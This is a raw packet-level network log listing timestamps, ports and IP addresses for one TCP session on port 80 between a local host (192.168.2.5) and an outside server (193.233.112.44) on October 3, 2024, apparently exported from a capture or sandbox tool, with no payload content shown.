Oct 3, 2024 23:17:03.325993061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.326009989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326015949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.326056004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.326139927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326176882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326208115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326244116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326312065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.326328993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326361895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326385021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.326395035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326406002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.326446056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.326477051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326510906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326527119 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.326545954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326564074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.326581001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326590061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.326627970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.326720953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326754093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326778889 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.326787949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326801062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.326818943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.326833963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.326867104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.365670919 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.365690947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.365793943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.365797043 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.365816116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.365832090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.365848064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.365853071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.365870953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.365891933 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.365988970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.366005898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.366022110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.366036892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.366044044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.366044044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.366053104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.366065025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.366075039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.366091967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.366092920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.366111994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.366627932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.366677999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.366693974 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.366715908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.366724014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.366764069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391153097 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391225100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391232014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391259909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391271114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391299009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391304016 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391333103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391349077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391369104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391377926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391423941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391442060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391477108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391493082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391510963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391530991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391544104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391561031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391591072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391597986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391633987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391644955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391669035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391683102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391705990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391716957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391736031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391751051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391771078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391786098 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391820908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391880035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391915083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391931057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.391966105 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.391982079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392000914 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392019033 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392035007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392044067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392086029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392174959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392208099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392226934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392241001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392257929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392277956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392296076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392313004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392322063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392345905 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392363071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392379999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392390966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392414093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392433882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392447948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392457008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392482042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392493010 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392515898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392529964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392548084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392570019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392581940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392587900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392616987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392631054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392652035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.392666101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.392704964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393024921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393059969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393078089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393095016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393104076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393130064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393152952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393163919 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393182993 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393198967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393218994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393233061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393239975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393269062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393403053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393582106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393615961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393649101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393651009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393651009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393682003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393697977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393697977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393731117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393731117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393768072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393801928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393822908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393822908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393834114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393840075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393870115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393876076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393903971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393913031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393938065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.393943071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393980980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.393990040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.394028902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.394045115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.394078016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.394085884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.394117117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.394469023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.394504070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.394520044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.394536972 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.394541025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.394572020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.394581079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.394606113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.394613028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.394642115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.394643068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.394675016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.394681931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.394711018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.394716024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.394745111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.394752979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.394779921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.394784927 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.394814014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.394820929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.394851923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.394859076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.394891977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.416333914 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416384935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416420937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416452885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.416454077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416474104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.416512012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416518927 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.416548014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416554928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.416589022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.416601896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416632891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416645050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.416666985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416672945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.416702032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416704893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.416734934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416739941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.416775942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.416790009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416822910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416836977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.416858912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416862011 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.416897058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416898012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.416933060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416938066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.416968107 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.416970015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.417001009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.417005062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.417036057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.417037964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.417071104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.417076111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.417109013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.417133093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.417169094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.417172909 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.417203903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.417206049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.417239904 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.417241096 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.417274952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.417279005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.417311907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.417313099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.417349100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:04.116456985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:04.122023106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:04.520190954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:04.520437956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:04.603143930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:04.608511925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:04.980197906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:04.980328083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:05.631375074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:05.636580944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:05.986778975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:05.986877918 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.357068062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.362726927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.713824034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.713869095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.713933945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.713968992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.714026928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.714030027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.714030027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.714030027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.714030027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.714066982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.714103937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.714111090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.714111090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.714140892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.714149952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.714175940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.714216948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.714247942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.714271069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.714322090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.810847998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.810894012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.810956955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.810956955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831265926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831320047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831326962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831357002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831377983 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831418037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831418991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831459045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831473112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831495047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831510067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831532001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831548929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831568956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831584930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831624031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831629992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831660032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831675053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831696033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831712961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831732035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831751108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831764936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831775904 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831800938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831816912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831837893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831851959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831891060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.831896067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.831939936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.832007885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.832041979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.832060099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.832077980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.832099915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.832117081 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.832119942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.832166910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.895241022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.895271063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.895404100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.947633028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.947685003 CEST	80	49710	193.233.112.44	192.168.2.5
